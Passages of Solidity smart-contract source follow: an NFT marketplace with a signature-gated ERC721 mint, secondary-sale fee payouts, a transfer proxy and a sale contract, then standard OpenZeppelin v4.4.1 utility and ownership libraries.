// then delete the last slot (swap and pop).
uint256 lastTokenIndex = _allTokens.length.sub(1);
uint256 tokenIndex = _allTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so
// rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding
// an 'if' statement (like in _removeTokenFromOwnerEnumeration)
uint256 lastTokenId = _allTokens[lastTokenIndex];
_allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
// This also deletes the contents at the last position of the array
_allTokens.length--;
_allTokensIndex[tokenId] = 0;
}
}
library UintLibrary {
function toString(uint256 _i) internal pure returns (string memory) {
if (_i == 0) {
return "0";
}
uint j = _i;
uint len;
while (j != 0) {
len++;
j /= 10;
}
bytes memory bstr = new bytes(len);
uint k = len - 1;
while (_i != 0) {
bstr[k--] = byte(uint8(48 + _i % 10));
_i /= 10;
}
return string(bstr);
}
}
library StringLibrary {
using UintLibrary for uint256;
function append(string memory _a, string memory _b) internal pure returns (string memory) {
bytes memory _ba = bytes(_a);
bytes memory _bb = bytes(_b);
bytes memory bab = new bytes(_ba.length + _bb.length);
uint k = 0;
for (uint i = 0; i < _ba.length; i++) bab[k++] = _ba[i];
for (uint i = 0; i < _bb.length; i++) bab[k++] = _bb[i];
return string(bab);
}
function append(string memory _a, string memory _b, string memory _c) internal pure returns (string memory) {
bytes memory _ba = bytes(_a);
bytes memory _bb = bytes(_b);
bytes memory _bc = bytes(_c);
bytes memory bbb = new bytes(_ba.length + _bb.length + _bc.length);
uint k = 0;
for (uint i = 0; i < _ba.length; i++) bbb[k++] = _ba[i];
for (uint i = 0; i < _bb.length; i++) bbb[k++] = _bb[i];
for (uint i = 0; i < _bc.length; i++) bbb[k++] = _bc[i];
return string(bbb);
}
function recover(string memory message, uint8 v, bytes32 r, bytes32 s) internal pure returns (address) {
bytes memory msgBytes = bytes(message);
bytes memory fullMessage = concat(
bytes("\x19Ethereum Signed Message:\n"),
bytes(msgBytes.length.toString()),
msgBytes,
new bytes(0), new bytes(0), new bytes(0), new bytes(0)
);
return ecrecover(keccak256(fullMessage), v, r, s);
}
function getAddress(bytes memory generatedBytes, uint8 v, bytes32 r, bytes32 s) internal pure returns (address) {
bytes memory msgBytes = generatedBytes;
bytes memory fullMessage = concat(
bytes("\x19Ethereum Signed Message:\n"),
bytes(msgBytes.length.toString()),
msgBytes,
new bytes(0), new bytes(0), new bytes(0), new bytes(0)
);
return ecrecover(keccak256(fullMessage), v, r, s);
}
function concat(bytes memory _ba, bytes memory _bb, bytes memory _bc, bytes memory _bd, bytes memory _be, bytes memory _bf, bytes memory _bg) internal pure returns (bytes memory) {
bytes memory resultBytes = new bytes(_ba.length + _bb.length + _bc.length + _bd.length + _be.length + _bf.length + _bg.length);
uint k = 0;
for (uint i = 0; i < _ba.length; i++) resultBytes[k++] = _ba[i];
for (uint i = 0; i < _bb.length; i++) resultBytes[k++] = _bb[i];
for (uint i = 0; i < _bc.length; i++) resultBytes[k++] = _bc[i];
for (uint i = 0; i < _bd.length; i++) resultBytes[k++] = _bd[i];
for (uint i = 0; i < _be.length; i++) resultBytes[k++] = _be[i];
for (uint i = 0; i < _bf.length; i++) resultBytes[k++] = _bf[i];
for (uint i = 0; i < _bg.length; i++) resultBytes[k++] = _bg[i];
return resultBytes;
}
}
contract HasContractURI is ERC165 {
string public contractURI;
/*
* bytes4(keccak256('contractURI()')) == 0xe8a3d485
*/
bytes4 private constant _INTERFACE_ID_CONTRACT_URI = 0xe8a3d485;
constructor(string memory _contractURI) public {
contractURI = _contractURI;
_registerInterface(_INTERFACE_ID_CONTRACT_URI);
}
/**
* @dev Internal function to set the contract URI
* @param _contractURI string URI prefix to assign
*/
function _setContractURI(string memory _contractURI) internal {
contractURI = _contractURI;
}
}
contract HasTokenURI {
using StringLibrary for string;
//Token URI prefix
string public tokenURIPrefix;
// Optional mapping for token URIs
mapping(uint256 => string) private _tokenURIs;
constructor(string memory _tokenURIPrefix) public {
tokenURIPrefix = _tokenURIPrefix;
}
/**
* @dev Returns an URI for a given token ID.
* Throws if the token ID does not exist. May return an empty string.
* @param tokenId uint256 ID of the token to query
*/
function _tokenURI(uint256 tokenId) internal view returns (string memory) {
return tokenURIPrefix.append(_tokenURIs[tokenId]);
}
/**
* @dev Internal function to set the token URI for a given token.
* Reverts if the token ID does not exist.
* @param tokenId uint256 ID of the token to set its URI
* @param uri string URI to assign
*/
function _setTokenURI(uint256 tokenId, string memory uri) internal {
_tokenURIs[tokenId] = uri;
}
/**
* @dev Internal function to set the token URI prefix.
* @param _tokenURIPrefix string URI prefix to assign
*/
function _setTokenURIPrefix(string memory _tokenURIPrefix) internal {
tokenURIPrefix = _tokenURIPrefix;
}
function _clearTokenURI(uint256 tokenId) internal {
if (bytes(_tokenURIs[tokenId]).length != 0) {
delete _tokenURIs[tokenId];
}
}
}
contract HasSecondarySaleFees is ERC165 {
event SecondarySaleFees(uint256 tokenId, address[] recipients, uint[] bps);
/*
* bytes4(keccak256('getFeeBps(uint256)')) == 0x0ebd4c7f
* bytes4(keccak256('getFeeRecipients(uint256)')) == 0xb9c4d9fb
*
* => 0x0ebd4c7f ^ 0xb9c4d9fb == 0xb7799584
*/
bytes4 private constant _INTERFACE_ID_FEES = 0xb7799584;
constructor() public {
_registerInterface(_INTERFACE_ID_FEES);
}
function getFeeRecipients(uint256 id) public view returns (address payable[] memory);
function getFeeBps(uint256 id) public view returns (uint[] memory);
}
/**
* @title Full ERC721 Token with support for tokenURIPrefix
* This implementation includes all the required and some optional functionality of the ERC721 standard
* Moreover, it includes approve all functionality using operator terminology
* @dev see https://eips.ethereum.org/EIPS/eip-721
*/
contract ERC721Base is HasSecondarySaleFees, ERC721, HasContractURI, HasTokenURI, ERC721Enumerable {
// Token name
string public name;
// Token symbol
string public symbol;
struct Fee {
address payable recipient;
uint256 value;
}
// id => fees
mapping (uint256 => Fee[]) public fees;
/*
* bytes4(keccak256('name()')) == 0x06fdde03
* bytes4(keccak256('symbol()')) == 0x95d89b41
* bytes4(keccak256('tokenURI(uint256)')) == 0xc87b56dd
*
* => 0x06fdde03 ^ 0x95d89b41 ^ 0xc87b56dd == 0x5b5e139f
*/
bytes4 private constant _INTERFACE_ID_ERC721_METADATA = 0x5b5e139f;
/**
* @dev Constructor function
*/
constructor (string memory _name, string memory _symbol, string memory contractURI, string memory _tokenURIPrefix) HasContractURI(contractURI) HasTokenURI(_tokenURIPrefix) public {
name = _name;
symbol = _symbol;
// register the supported interfaces to conform to ERC721 via ERC165
_registerInterface(_INTERFACE_ID_ERC721_METADATA);
}
function getFeeRecipients(uint256 id) public view returns (address payable[] memory) {
Fee[] memory _fees = fees[id];
address payable[] memory result = new address payable[](_fees.length);
for (uint i = 0; i < _fees.length; i++) {
result[i] = _fees[i].recipient;
}
return result;
}
function getFeeBps(uint256 id) public view returns (uint[] memory) {
Fee[] memory _fees = fees[id];
uint[] memory result = new uint[](_fees.length);
for (uint i = 0; i < _fees.length; i++) {
result[i] = _fees[i].value;
}
return result;
}
function _mint(address to, uint256 tokenId, Fee[] memory _fees) internal {
_mint(to, tokenId);
address[] memory recipients = new address[](_fees.length);
uint[] memory bps = new uint[](_fees.length);
for (uint i = 0; i < _fees.length; i++) {
require(_fees[i].recipient != address(0x0), "Recipient should be present");
require(_fees[i].value != 0, "Fee value should be positive");
fees[tokenId].push(_fees[i]);
recipients[i] = _fees[i].recipient;
bps[i] = _fees[i].value;
}
if (_fees.length > 0) {
emit SecondarySaleFees(tokenId, recipients, bps);
}
}
/**
* @dev Returns an URI for a given token ID.
* Throws if the token ID does not exist. May return an empty string.
* @param tokenId uint256 ID of the token to query
*/
function tokenURI(uint256 tokenId) external view returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
return super._tokenURI(tokenId);
}
/**
* @dev Internal function to set the token URI for a given token.
* Reverts if the token ID does not exist.
* @param tokenId uint256 ID of the token to set its URI
* @param uri string URI to assign
*/
function _setTokenURI(uint256 tokenId, string memory uri) internal {
require(_exists(tokenId), "ERC721Metadata: URI set of nonexistent token");
super._setTokenURI(tokenId, uri);
}
/**
* @dev Internal function to burn a specific token.
* Reverts if the token does not exist.
* Deprecated, use _burn(uint256) instead.
* @param owner owner of the token to burn
* @param tokenId uint256 ID of the token being burned by the msg.sender
*/
function _burn(address owner, uint256 tokenId) internal {
super._burn(owner, tokenId);
_clearTokenURI(tokenId);
}
}
/**
* @title MintableToken
* @dev anyone can mint token.
*/
contract MintableToken is Ownable, IERC721, IERC721Metadata, ERC721Burnable, ERC721Base {
constructor (string memory name, string memory symbol, address newOwner, string memory contractURI, string memory tokenURIPrefix) public ERC721Base(name, symbol, contractURI, tokenURIPrefix) {
_registerInterface(bytes4(keccak256('MINT_WITH_ADDRESS')));
transferOwnership(newOwner);
}
function mint(uint256 tokenId, uint8 v, bytes32 r, bytes32 s, Fee[] memory _fees, string memory tokenURI) public {
require(owner() == ecrecover(keccak256(abi.encodePacked(this, tokenId)), v, r, s), "owner should sign tokenId");
_mint(msg.sender, tokenId, _fees);
_setTokenURI(tokenId, tokenURI);
}
function setTokenURIPrefix(string memory tokenURIPrefix) public onlyOwner {
_setTokenURIPrefix(tokenURIPrefix);
}
function setContractURI(string memory contractURI) public onlyOwner {
_setContractURI(contractURI);
}
}
library AddressLibrary {
function toString(address _addr) internal pure returns (string memory) {
bytes32 value = bytes32(uint256(_addr));
bytes memory alphabet = "0123456789abcdef";
bytes memory str = new bytes(42);
str[0] = '0';
str[1] = 'x';
for (uint256 i = 0; i < 20; i++) {
str[2+i*2] = alphabet[uint8(value[i + 12] >> 4)];
str[3+i*2] = alphabet[uint8(value[i + 12] & 0x0f)];
}
return string(str);
}
}
contract AbstractSale is Ownable {
using UintLibrary for uint256;
using AddressLibrary for address;
using StringLibrary for string;
using SafeMath for uint256;
bytes4 private constant _INTERFACE_ID_FEES = 0xb7799584;
uint private constant maxBuyerFeePercentage = 10000;
uint public buyerFee = 0;
address payable public beneficiary;
/* An ECDSA signature. */
struct Sig {
/* v parameter */
uint8 v;
/* r parameter */
bytes32 r;
/* s parameter */
bytes32 s;
}
constructor(address payable _beneficiary) public {
beneficiary = _beneficiary;
}
function setBuyerFee(uint256 _buyerFee) public onlyOwner {
require(_buyerFee <= maxBuyerFeePercentage, "max buyer percentage can't be more than 10000");
buyerFee = _buyerFee;
}
function setBeneficiary(address payable _beneficiary) public onlyOwner {
beneficiary = _beneficiary;
}
function prepareMessage(address token, uint256 tokenId, uint256 price, uint256 fee, uint256 nonce) public view returns (string memory) {
string memory result = string(strConcat(
bytes(token.toString()),
bytes(". tokenId: "),
bytes(tokenId.toString()),
bytes(". price: "),
bytes(price.toString()),
bytes(". nonce: "),
bytes(nonce.toString())
));
if (fee != 0) {
return result.append(". fee: ", fee.toString());
} else {
return result;
}
}
function strConcat(bytes memory _ba, bytes memory _bb, bytes memory _bc, bytes memory _bd, bytes memory _be, bytes memory _bf, bytes memory _bg) internal pure returns (bytes memory) {
bytes memory resultBytes = new bytes(_ba.length + _bb.length + _bc.length + _bd.length + _be.length + _bf.length + _bg.length);
uint k = 0;
for (uint i = 0; i < _ba.length; i++) resultBytes[k++] = _ba[i];
for (uint i = 0; i < _bb.length; i++) resultBytes[k++] = _bb[i];
for (uint i = 0; i < _bc.length; i++) resultBytes[k++] = _bc[i];
for (uint i = 0; i < _bd.length; i++) resultBytes[k++] = _bd[i];
for (uint i = 0; i < _be.length; i++) resultBytes[k++] = _be[i];
for (uint i = 0; i < _bf.length; i++) resultBytes[k++] = _bf[i];
for (uint i = 0; i < _bg.length; i++) resultBytes[k++] = _bg[i];
return resultBytes;
}
function transferEther(IERC165 token, uint256 tokenId, address payable owner, uint256 total, uint256 sellerFee) internal {
uint value = transferFeeToBeneficiary(total, sellerFee);
if (token.supportsInterface(_INTERFACE_ID_FEES)) {
HasSecondarySaleFees withFees = HasSecondarySaleFees(address(token));
address payable[] memory recipients = withFees.getFeeRecipients(tokenId);
uint[] memory fees = withFees.getFeeBps(tokenId);
require(fees.length == recipients.length);
for (uint256 i = 0; i < fees.length; i++) {
(uint newValue, uint current) = subFee(value, total.mul(fees[i]).div(maxBuyerFeePercentage));
value = newValue;
recipients[i].transfer(current);
}
}
owner.transfer(value);
}
function transferFeeToBeneficiary(uint total, uint sellerFee) internal returns (uint) {
(uint value, uint sellerFeeValue) = subFee(total, total.mul(sellerFee).div(maxBuyerFeePercentage));
uint buyerFeeValue = total.mul(buyerFee).div(maxBuyerFeePercentage);
uint beneficiaryFee = buyerFeeValue.add(sellerFeeValue);
if (beneficiaryFee > 0) {
beneficiary.transfer(beneficiaryFee);
}
return value;
}
function subFee(uint value, uint fee) internal pure returns (uint newValue, uint realFee) {
if (value > fee) {
newValue = value - fee;
realFee = fee;
} else {
newValue = 0;
realFee = value;
}
}
}
/**
@title ERC-1155 Multi Token Standard
@dev See https://github.com/ethereum/EIPs/blob/master/EIPS/eip-1155.md
Note: The ERC-165 identifier for this interface is 0xd9b67a26.
*/
contract IERC1155 is IERC165 {
/**
@dev Either `TransferSingle` or `TransferBatch` MUST emit when tokens are transferred, including zero value transfers as well as minting or burning (see "Safe Transfer Rules" section of the standard).
The `_operator` argument MUST be msg.sender.
The `_from` argument MUST be the address of the holder whose balance is decreased.
The `_to` argument MUST be the address of the recipient whose balance is increased.
The `_id` argument MUST be the token type being transferred.
The `_value` argument MUST be the number of tokens the holder balance is decreased by and match what the recipient balance is increased by.
When minting/creating tokens, the `_from` argument MUST be set to `0x0` (i.e. zero address).
When burning/destroying tokens, the `_to` argument MUST be set to `0x0` (i.e. zero address).
*/
event TransferSingle(address indexed _operator, address indexed _from, address indexed _to, uint256 _id, uint256 _value);
/**
@dev Either `TransferSingle` or `TransferBatch` MUST emit when tokens are transferred, including zero value transfers as well as minting or burning (see "Safe Transfer Rules" section of the standard).
The `_operator` argument MUST be msg.sender.
The `_from` argument MUST be the address of the holder whose balance is decreased.
The `_to` argument MUST be the address of the recipient whose balance is increased.
The `_ids` argument MUST be the list of tokens being transferred.
The `_values` argument MUST be the list of number of tokens (matching the list and order of tokens specified in _ids) the holder balance is decreased by and match what the recipient balance is increased by.
When minting/creating tokens, the `_from` argument MUST be set to `0x0` (i.e. zero address).
When burning/destroying tokens, the `_to` argument MUST be set to `0x0` (i.e. zero address).
*/
event TransferBatch(address indexed _operator, address indexed _from, address indexed _to, uint256[] _ids, uint256[] _values);
/**
@dev MUST emit when approval for a second party/operator address to manage all tokens for an owner address is enabled or disabled (absense of an event assumes disabled).
*/
event ApprovalForAll(address indexed _owner, address indexed _operator, bool _approved);
/**
@dev MUST emit when the URI is updated for a token ID.
URIs are defined in RFC 3986.
The URI MUST point a JSON file that conforms to the "ERC-1155 Metadata URI JSON Schema".
*/
event URI(string _value, uint256 indexed _id);
/**
@notice Transfers `_value` amount of an `_id` from the `_from` address to the `_to` address specified (with safety call).
@dev Caller must be approved to manage the tokens being transferred out of the `_from` account (see "Approval" section of the standard).
MUST revert if `_to` is the zero address.
MUST revert if balance of holder for token `_id` is lower than the `_value` sent.
MUST revert on any other error.
MUST emit the `TransferSingle` event to reflect the balance change (see "Safe Transfer Rules" section of the standard).
After the above conditions are met, this function MUST check if `_to` is a smart contract (e.g. code size > 0). If so, it MUST call `onERC1155Received` on `_to` and act appropriately (see "Safe Transfer Rules" section of the standard).
@param _from Source address
@param _to Target address
@param _id ID of the token type
@param _value Transfer amount
@param _data Additional data with no specified format, MUST be sent unaltered in call to `onERC1155Received` on `_to`
*/
function safeTransferFrom(address _from, address _to, uint256 _id, uint256 _value, bytes calldata _data) external;
/**
@notice Transfers `_values` amount(s) of `_ids` from the `_from` address to the `_to` address specified (with safety call).
@dev Caller must be approved to manage the tokens being transferred out of the `_from` account (see "Approval" section of the standard).
MUST revert if `_to` is the zero address.
MUST revert if length of `_ids` is not the same as length of `_values`.
MUST revert if any of the balance(s) of the holder(s) for token(s) in `_ids` is lower than the respective amount(s) in `_values` sent to the recipient.
MUST revert on any other error.
MUST emit `TransferSingle` or `TransferBatch` event(s) such that all the balance changes are reflected (see "Safe Transfer Rules" section of the standard).
Balance changes and events MUST follow the ordering of the arrays (_ids[0]/_values[0] before _ids[1]/_values[1], etc).
After the above conditions for the transfer(s) in the batch are met, this function MUST check if `_to` is a smart contract (e.g. code size > 0). If so, it MUST call the relevant `ERC1155TokenReceiver` hook(s) on `_to` and act appropriately (see "Safe Transfer Rules" section of the standard).
@param _from Source address
@param _to Target address
@param _ids IDs of each token type (order and length must match _values array)
@param _values Transfer amounts per token type (order and length must match _ids array)
@param _data Additional data with no specified format, MUST be sent unaltered in call to the `ERC1155TokenReceiver` hook(s) on `_to`
*/
function safeBatchTransferFrom(address _from, address _to, uint256[] calldata _ids, uint256[] calldata _values, bytes calldata _data) external;
/**
@notice Get the balance of an account's Tokens.
@param _owner The address of the token holder
@param _id ID of the Token
@return The _owner's balance of the Token type requested
*/
function balanceOf(address _owner, uint256 _id) external view returns (uint256);
/**
@notice Get the balance of multiple account/token pairs
@param _owners The addresses of the token holders
@param _ids ID of the Tokens
@return The _owner's balance of the Token types requested (i.e. balance for each (owner, id) pair)
*/
function balanceOfBatch(address[] calldata _owners, uint256[] calldata _ids) external view returns (uint256[] memory);
/**
@notice Enable or disable approval for a third party ("operator") to manage all of the caller's tokens.
@dev MUST emit the ApprovalForAll event on success.
@param _operator Address to add to the set of authorized operators
@param _approved True if the operator is approved, false to revoke approval
*/
function setApprovalForAll(address _operator, bool _approved) external;
/**
@notice Queries the approval status of an operator for a given owner.
@param _owner The owner of the Tokens
@param _operator Address of authorized operator
@return True if the operator is approved, false if not
*/
function isApprovedForAll(address _owner, address _operator) external view returns (bool);
}
/**
* @title Roles
* @dev Library for managing addresses assigned to a Role.
*/
library Roles {
struct Role {
mapping (address => bool) bearer;
}
/**
* @dev Give an account access to this role.
*/
function add(Role storage role, address account) internal {
require(!has(role, account), "Roles: account already has role");
role.bearer[account] = true;
}
/**
* @dev Remove an account's access to this role.
*/
function remove(Role storage role, address account) internal {
require(has(role, account), "Roles: account does not have role");
role.bearer[account] = false;
}
/**
* @dev Check if an account has this role.
* @return bool
*/
function has(Role storage role, address account) internal view returns (bool) {
require(account != address(0), "Roles: account is the zero address");
return role.bearer[account];
}
}
contract OperatorRole is Context {
using Roles for Roles.Role;
event OperatorAdded(address indexed account);
event OperatorRemoved(address indexed account);
Roles.Role private _operators;
constructor () internal {
}
modifier onlyOperator() {
require(isOperator(_msgSender()), "OperatorRole: caller does not have the Operator role");
_;
}
function isOperator(address account) public view returns (bool) {
return _operators.has(account);
}
function _addOperator(address account) internal {
_operators.add(account);
emit OperatorAdded(account);
}
function _removeOperator(address account) internal {
_operators.remove(account);
emit OperatorRemoved(account);
}
}
contract OwnableOperatorRole is Ownable, OperatorRole {
function addOperator(address account) public onlyOwner {
_addOperator(account);
}
function removeOperator(address account) public onlyOwner {
_removeOperator(account);
}
}
contract TransferProxy is OwnableOperatorRole {
function erc721safeTransferFrom(IERC721 token, address from, address to, uint256 tokenId) external onlyOperator {
token.safeTransferFrom(from, to, tokenId);
}
function erc1155safeTransferFrom(IERC1155 token, address _from, address _to, uint256 _id, uint256 _value, bytes calldata _data) external onlyOperator {
token.safeTransferFrom(_from, _to, _id, _value, _data);
}
}
contract IERC721Sale {
function getNonce(IERC721 token, uint256 tokenId) view public returns (uint256);
}
contract ERC721SaleNonceHolder is OwnableOperatorRole {
mapping(bytes32 => uint256) public nonces;
IERC721Sale public previous;
constructor(IERC721Sale _previous) public {
previous = _previous;
}
function getNonce(IERC721 token, uint256 tokenId) view public returns (uint256) {
uint256 newNonce = nonces[getPositionKey(token, tokenId)];
if (newNonce != 0) {
return newNonce;
}
if (address(previous) == address(0x0)) {
return 0;
}
return previous.getNonce(token, tokenId);
}
function setNonce(IERC721 token, uint256 tokenId, uint256 nonce) public onlyOperator {
nonces[getPositionKey(token, tokenId)] = nonce;
}
function getPositionKey(IERC721 token, uint256 tokenId) pure public returns (bytes32) {
return keccak256(abi.encodePacked(token, tokenId));
}
}
contract ERC721Sale is Ownable, IERC721Receiver, AbstractSale {
using AddressLibrary for address;
using UintLibrary for uint256;
using StringLibrary for string;
uint private constant maxBuyerFeePercentage = 10000;
event Cancel(address indexed token, uint256 indexed tokenId, address owner, uint256 nonce);
event Buy(address indexed token, uint256 indexed tokenId, address seller, address buyer, uint256 price, uint256 nonce);
TransferProxy public transferProxy;
ERC721SaleNonceHolder public nonceHolder;
constructor(TransferProxy _transferProxy, ERC721SaleNonceHolder _nonceHolder, address payable beneficiary) AbstractSale(beneficiary) public {
transferProxy = _transferProxy;
nonceHolder = _nonceHolder;
}
function cancel(IERC721 token, uint256 tokenId) public {
address owner = token.ownerOf(tokenId);
require(owner == msg.sender, "not an owner");
uint256 nonce = nonceHolder.getNonce(token, tokenId) + 1;
nonceHolder.setNonce(token, tokenId, nonce);
emit Cancel(address(token), tokenId, owner, nonce);
}
function buy(IERC721 token, uint256 tokenId, uint256 price, uint256 sellerFee, Sig memory signature) public payable {
address payable owner = address(uint160(token.ownerOf(tokenId)));
uint256 nonce = nonceHolder.getNonce(token, tokenId);
uint256 buyerFeeValue = price.mul(buyerFee).div(maxBuyerFeePercentage);
require(msg.value == price.add(buyerFeeValue), "msg.value is incorrect" );
string memory messageSigned = prepareMessage(address(token), tokenId, price, sellerFee, nonce);
address ownerOf = StringLibrary.recover(messageSigned, signature.v, signature.r, signature.s);
require(owner == ownerOf, "owner should sign correct message");
transferProxy.erc721safeTransferFrom(token, owner, msg.sender, tokenId);
transferEther(token, tokenId, owner, price, sellerFee);
nonceHolder.setNonce(token, tokenId, nonce + 1);
emit Buy(address(token), tokenId, owner, msg.sender, price, nonce + 1);
}
function onERC721Received(address, address, uint256, bytes memory) public returns (bytes4) {
return this.onERC721Received.selector;
}
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/**
*Submitted for verification at Etherscan.io on 2022-02-25
*/
// SPDX-License-Identifier: MIT
// File: @openzeppelin/contracts/utils/Strings.sol
// OpenZeppelin Contracts v4.4.1 (utils/Strings.sol)
pragma solidity ^0.8.0;
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
// File: @openzeppelin/contracts/utils/Context.sol
// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)
pragma solidity ^0.8.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// File: @openzeppelin/contracts/access/Ownable.sol
// OpenZeppelin Contracts v4.4.1 (access/Ownable.sol)
pragma solidity ^0.8.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_transferOwnership(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Internal function without access restriction.
*/
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
// File: @openzeppelin/contracts/utils/Address.sol
// OpenZeppelin Contracts v4.4.1 (utils/Address.sol)
pragma solidity ^0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
